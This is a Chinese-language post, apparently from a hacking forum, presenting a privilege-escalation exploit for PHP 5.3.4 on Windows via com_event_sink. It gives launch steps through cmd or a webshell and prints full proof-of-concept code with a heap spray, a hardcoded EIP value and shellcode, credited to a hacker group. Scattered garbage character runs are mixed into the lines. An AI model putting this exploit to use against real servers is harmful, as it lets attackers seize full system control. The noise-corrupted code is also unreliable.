PHP 5.3.4(WIN) COM_SINK权限提升漏洞

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PHP最新版已经更新至5.4.x，不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
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' ]: B) `1 }: e% }0 `测试方法如下：cmd /c x:\php\php.exe x:\test.php
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0 B' D" o5 L* u, \+ @下载php程序至本地，然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行，或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
这里是两个测试的截图：


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& S: h: c8 M! `成功利用此漏洞的攻击者将获得系统的最高权限
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4 i9 `; f6 ?- x2 ~4 Q$ k关于漏洞分析稍后附上。一下是PoC代码：

<?php
- Z2 \5 B4 }2 p- ^& t5 y  V, ~//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
//$eip ="\x44\x43\x42\x41";
6 T% r* M: @; e, U$eip= "\x4b\xe8\x57\x78";
$eax ="\x80\x01\x8d\x04";
$deodrant="";
$axespray = str_repeat($eip.$eax,0x80);
4 k' Y( V: z5 t( v# Z//048d0190
7 }* s% X" x# f( w. r" necho strlen($axespray);
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
echo "Silic Group Hacker Army - BlackBap.Org";
//19200 ==4B32 4b00
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
& }0 r. E9 C9 _: }$terminate = "T";
" K, N  [) X! F* ?$u[] =$deodrant;
# H5 _* W2 L* p) i0 s$ b5 q5 L0 C$r[] =$deodrant.$terminate;
$a[] =$deodrant.$terminate;
$s[] =$deodrant.$terminate;
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
' u7 E! W9 v. w$vVar = new VARIANT(0x048d0000+180);
//弹窗代码(Shellcode)
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
, U8 n' X2 w3 l# S: W4 E3 [$var2 = new VARIANT(0x41414242);
3 P7 l* `% X  Qcom_event_sink($vVar,$var2,$buffer);
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